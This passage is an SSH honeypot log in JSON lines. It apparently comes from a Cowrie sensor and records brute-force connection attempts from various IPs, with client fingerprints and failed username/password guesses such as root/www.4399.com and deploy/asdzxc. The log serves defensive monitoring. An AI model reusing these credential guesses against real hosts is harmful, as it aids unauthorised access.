""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:37.608707Z","src_ip":"203.161.39.233","session":"46124d923eb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.4399.com","message":"login attempt [root/www.4399.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:37.922564Z","src_ip":"203.161.39.233","session":"46124d923eb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:38.996355Z","src_ip":"203.161.39.233","session":"46124d923eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.26.161","src_port":16256,"dst_ip":"10.17.0.5","dst_port":22,"session":"b74a4f8f5f4b","protocol":"ssh","message":"New connection: 118.196.26.161:16256 (10.17.0.5:22) [session: b74a4f8f5f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:47.864140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:47.870518Z","src_ip":"118.196.26.161","session":"b74a4f8f5f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:48.115460Z","src_ip":"118.196.26.161","session":"b74a4f8f5f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:48.522609Z","src_ip":"118.196.26.161","session":"b74a4f8f5f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":46690,"dst_ip":"159.203.135.109","dst_port":22,"session":"178c2a63efd3","protocol":"ssh","message":"New connection: 190.129.122.185:46690 (159.203.135.109:22) [session: 178c2a63efd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:57.033792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:57.038249Z","src_ip":"190.129.122.185","session":"178c2a63efd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:57.199510Z","src_ip":"190.129.122.185","session":"178c2a63efd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbasedbt","password":"gbasedbt","message":"login attempt [gbasedbt/gbasedbt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:57.877882Z","src_ip":"190.129.122.185","session":"178c2a63efd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:59.043674Z","src_ip":"190.129.122.185","session":"178c2a63efd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50190,"dst_ip":"159.203.135.109","dst_port":22,"session":"159f6d7a3ab5","protocol":"ssh","message":"New connection: 103.172.78.219:50190 (159.203.135.109:22) [session: 159f6d7a3ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:03:56.284399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:03:56.289095Z","src_ip":"103.172.78.219","session":"159f6d7a3ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:03:56.561450Z","src_ip":"103.172.78.219","session":"159f6d7a3ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":".","message":"login attempt [root/.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:03:57.326985Z","src_ip":"103.172.78.219","session":"159f6d7a3ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:03:58.587018Z","src_ip":"103.172.78.219","session":"159f6d7a3ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":53910,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6cb8f8a03c","protocol":"ssh","message":"New connection: 103.107.60.45:53910 (10.17.0.5:22) [session: cc6cb8f8a03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:02.352138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:02.358261Z","src_ip":"103.107.60.45","session":"cc6cb8f8a03c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:02.575476Z","src_ip":"103.107.60.45","session":"cc6cb8f8a03c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:03.463148Z","src_ip":"103.107.60.45","session":"cc6cb8f8a03c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:04.679715Z","src_ip":"103.107.60.45","session":"cc6cb8f8a03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":42330,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae2b6d92a4a1","protocol":"ssh","message":"New connection: 89.108.118.91:42330 (10.17.0.5:22) [session: ae2b6d92a4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:10.821170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:10.826591Z","src_ip":"89.108.118.91","session":"ae2b6d92a4a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:11.010682Z","src_ip":"89.108.118.91","session":"ae2b6d92a4a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wladimir","message":"login attempt [root/wladimir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:11.437205Z","src_ip":"89.108.118.91","session":"ae2b6d92a4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:12.570587Z","src_ip":"89.108.118.91","session":"ae2b6d92a4a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":57980,"dst_ip":"159.203.135.109","dst_port":22,"session":"bedc6b9492ad","protocol":"ssh","message":"New connection: 190.129.122.185:57980 (159.203.135.109:22) [session: bedc6b9492ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:41.300005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:41.305122Z","src_ip":"190.129.122.185","session":"bedc6b9492ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:41.485370Z","src_ip":"190.129.122.185","session":"bedc6b9492ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@123Aa","message":"login attempt [root/123@123Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:42.156035Z","src_ip":"190.129.122.185","session":"bedc6b9492ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:43.319528Z","src_ip":"190.129.122.185","session":"bedc6b9492ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":51394,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c89b048bb9c","protocol":"ssh","message":"New connection: 46.253.45.10:51394 (10.17.0.5:22) [session: 8c89b048bb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:44.167081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:44.171850Z","src_ip":"46.253.45.10","session":"8c89b048bb9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:44.297725Z","src_ip":"46.253.45.10","session":"8c89b048bb9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdzxc","message":"login attempt [deploy/asdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:44.843249Z","src_ip":"46.253.45.10","session":"8c89b048bb9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:04:45.973033Z","src_ip":"46.253.45.10","session":"8c89b048bb9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38948,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7f31cd494fe","protocol":"ssh","message":"New connection: 2.57.121.25:38948 (159.203.135.109:22) [session: a7f31cd494fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:01.201894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:01.218772Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:01.338688Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1233211","message":"login attempt [user/1233211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:01.774535Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123e","message":"login attempt [user/123123e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:02.881672Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121287","message":"login attempt [user/121287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:03.987867Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111980","message":"login attempt [user/12111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:05.093017Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121087","message":"login attempt [user/121087] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:06.198246Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:05:07.306349Z","src_ip":"2.57.121.25","session":"a7f31cd494fe","protocol":"ssh"}
